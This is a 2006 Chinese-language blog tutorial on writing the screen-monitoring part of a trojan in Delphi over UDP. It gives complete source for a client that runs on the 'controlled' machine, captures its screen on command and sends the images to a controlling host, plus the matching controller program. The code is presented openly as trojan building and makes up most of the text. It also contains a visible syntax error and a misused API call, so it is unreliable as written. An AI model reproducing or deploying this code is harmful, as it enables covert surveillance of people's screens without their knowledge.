用UDP协议的木马编写方法（Delphi版）

用UDP协议的木马编写方法（Delphi版）

2006-12-03 16:11

    木马的一个很重要的功能就是远程监视屏幕，下面的文章讲述了怎样利用UDP协议来实现，而不是我们通常用到的tcp/ip协议，很有特色，值得一学。  

一、软硬件要求。  
Windows95/98对等网，用来监视的计算机（以下简称主控机）和被监视的计算机（以下简称受控机）都必须装有TCP/IP 协议，并正确配置。如没有网络，也可以在一台计算机上进行调试。  

二、实现方法。  
编制两个应用程序，一个为VClient.exe，装在受控机上，另一个为VServer.exe，装在主控机上。VServer.exe指定要监视的受控机的IP地址和将要在受控机屏幕上抓取区域的大小和位置，并发出屏幕抓取指令给VClient.exe，VClient.exe得到指令后，在受控机屏幕上选取指定区域，生成数据流，将其发回主控机，并在主控机上显示出抓取区域的BMP图象。由以上过程可以看出，该方法的关键有二：一是如何在受控机上进行屏幕抓取，二是如何通过TCP/IP协议在两台计算机中传输数据。  

UDP(User Datagram Protocol，意为用户报文协议)是Internet上广泛采用的通信协议之一。与TCP协议不同，它是一种非连接的传输协议，没有确认机制，可靠性不如TCP，但它的效率却比TCP高，用于远程屏幕监视还是比较适合的。同时，UDP控件不区分服务器端和客户端，只区分发送端和接收端，编程上较为简单，故选用UDP协议，使用Delphi 4.0提供的TNMUDP控件。  

三、创建演示程序。  
第一步，编制VClient.exe文件。新建Delphi工程，将默认窗体的Name属性设为“Client”。加入TNMUDP控件，Name属性设为“CUDP”；LocalPort属性设为“1111”，让控件CUDP监视受控机的1111端口，当有数据发送到该口时，触发控件CUDP的OnDataReceived事件；RemotePort属性设为“2222”，当控件CUDP发送数据时，将数据发到主控机的2222口。  

在implementation后面加入变量定义  

const BufSize=2048;{ 发送每一笔数据的缓冲区大小 }  
var  
BmpStream:TMemoryStream;  
LeftSize:Longint;{ 发送每一笔数据后剩余的字节数 } 

为Client的OnCreate事件添加代码：  

procedure TClient.FormCreate(Sender: TObject);  
begin  
BmpStream:=TMemoryStream.Create;  
end; 

为Client的OnDestroy事件添加代码：  
procedure TClient.FormDestroy(Sender: TObject);  
begin  
BmpStream.Free;  
end; 

为控件CUDP的OnDataReceived事件添加代码：  

procedure TClient.CUDPDataReceived(Sender: TComponent;  
NumberBytes: Integer; FromIP: String);  
var  
CtrlCode:array[0..29] of char;  
Buf:array[0..BufSize-1] of char;  
TmpStr:string;  
SendSize,LeftPos,TopPos,RightPos,BottomPos:integer;  
begin  
CUDP.ReadBuffer(CtrlCode,NumberBytes);{ 读取控制码 }  
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='show' then  
begin { 控制码前4位为“show”表示主控机发出了抓屏指令 }  
if BmpStream.Size=0 then { 没有数据可发，必须截屏生成数据 }  
begin  
TmpStr:=StrPas(CtrlCode);  
TmpStr:=Copy(TmpStr,5,Length(TmpStr)-4);  
LeftPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));  
TmpStr:=Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr) -Pos(':',TmpStr));  
TopPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));  
TmpStr:=Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr)-Pos(':',TmpStr));  
RightPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));  
BottomPos:=StrToInt(Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr)-Pos':',TmpStr)));  
ScreenCap(LeftPos,TopPos,RightPos,BottomPos); { 截取屏幕 }  
end;  
if LeftSize>BufSize then SendSize:=BufSize  
else SendSize:=LeftSize;  
BmpStream.ReadBuffer(Buf,SendSize);  
LeftSize:=LeftSize-SendSize;  
if LeftSize=0 then BmpStream.Clear;{ 清空流 }  
CUDP.RemoteHost:=FromIP; { FromIP为主控机IP地址 }  
CUDP.SendBuffer(Buf,SendSize); { 将数据发到主控机的2222口 }  
end;  
end; 

其中ScreenCap是自定义函数，截取屏幕指定区域，  
代码如下：  

procedure TClient.ScreenCap(LeftPos,TopPos,  
RightPos,BottomPos:integer);  
var  
RectWidth,RectHeight:integer;  
SourceDC,DestDC,Bhandle:integer;  
Bitmap:TBitmap;  
begin  
RectWidth:=RightPos-LeftPos;  
RectHeight:=BottomPos-TopPos;  
SourceDC:=CreateDC('DISPLAY','','',nil);  
DestDC:=CreateCompatibleDC(SourceDC);  
Bhandle:=CreateCompatibleBitmap(SourceDC,  
RectWidth,RectHeight);  
SelectObject(DestDC,Bhandle);  
BitBlt(DestDC,0,0,RectWidth,RectHeight,SourceDC,  
LeftPos,TopPos,SRCCOPY);  
Bitmap:=TBitmap.Create;  
Bitmap.Handle:=BHandle;  
BitMap.SaveToStream(BmpStream);  
BmpStream.Position:=0;  
LeftSize:=BmpStream.Size;  
Bitmap.Free;  
DeleteDC(DestDC);  
ReleaseDC(Bhandle,SourceDC);  
end; 

存为“C:/VClient/ClnUnit.pas”和“C:/VClient/VClient.dpr”，  
并编译。  

第二步，编制VServer.exe文件。 
新建Delphi工程，将窗体的Name属性设为“Server”。加入TNMUDP控件，Name属性设为“SUDP”；LocalPort属性设为“2222”，让控件SUDP监视主控机的2222端口，当有数据发送到该口时，触发控件SUDP的OnDataReceived事件；RemotePort属性设为“1111”，当控件SUDP发送数据时，将数据发到受控机的1111口。加入控件Image1，Align属性设为“alClient”；加入控件Button1，Caption属性设为“截屏”；加入控件Label1，Caption属性设为“左：上：右：下”；加入控件Edit1，Text属性设为“0:0:100:100”；加入控件Label2，Caption属性设为“受控机IP地址”；加入控件Edit2，Text属性设为“127.0.0.1”；  

在implementation后面加入变量定义  

const BufSize=2048;  
var  
RsltStream,TmpStream:TMemoryStream; 

为Server的OnCreate事件添加代码：  

procedure TServer.FormCreate(Sender: TObject);  
begin  
RsltStream:=TMemoryStream.Create;  
TmpStream:=TMemoryStream.Create;  
end; 

为Client的OnDestroy事件添加代码：  

procedure TServer.FormDestroy(Sender: TObject);  
begin  
RsltStream.Free;  
TmpStream.Free;  
end; 

为控件Button1的OnClick事件添加代码：  

procedure TServer.Button1Click(Sender: TObject);  
var ReqCode:array[0..29] of char;ReqCodeStr:string;  
begin  
ReqCodeStr:='show'+Edit1.Text;  
StrpCopy(ReqCode,ReqCodeStr);  
TmpStream.Clear;  
RsltStream.Clear;  
SUDP.RemoteHost:=Edit2.Text;  
SUDP.SendBuffer(ReqCode,30);  
end; 

为控件SUDP的OnDataReceived事件添加代码：  

procedure TServer.SUDPDataReceived(Sender: TComponent;  
NumberBytes: Integer; FromIP: String);  
var ReqCode:array[0..29] of char;ReqCodeStr:string;  
begin  
ReqCodeStr:='show'+Edit1.text;  
StrpCopy(ReqCode,ReqCodeStr);  
SUDP.ReadStream(TmpStream);  
RsltStream.CopyFrom(TmpStream,NumberBytes);  
if NumberBytes< BufSize then { 数据已读完 }  
begin  
RsltStream.Position:=0;  
Image1.Picture.Bitmap.LoadFromStream(RsltStream);  
TmpStream.Clear;  
RsltStream.Clear;  
end  
else  
begin  
TmpStream.Clear;  
ReqCode:='show';  
SUDP.RemoteHost:=Edit2.Text;  
SUDP.SendBuffer(ReqCode,30);  
end;  
end; 

存为“C:/VServer/SvrUnit.pas”和  
“C:/VServer/VServer.dpr”，并编译。  
---- 四、测试。  

1、本地机测试：在本地机同时运行Vserver.exe和VClient.exe，利用程序的默认设置，即可实现截屏。查看“控制面板”-“网络”-“TCP/IP”-“IP地址”，将程序的“客户IP地址”设为该地址 ，同样正常运行。  

2、远程测试：选一台受控机，运行VClient.exe；另选一台主控机，运行VServer.exe，将“受控机IP地址”即Edit2的内容设为受控机的IP地址，“截屏”即可。以上简要介绍了远程屏幕抓取的实现方法，至于在主控机上一屏同时监视多个受控机，读者可自行完善。以上程序，在Windows98对等网、Delphi 4.0下调试通过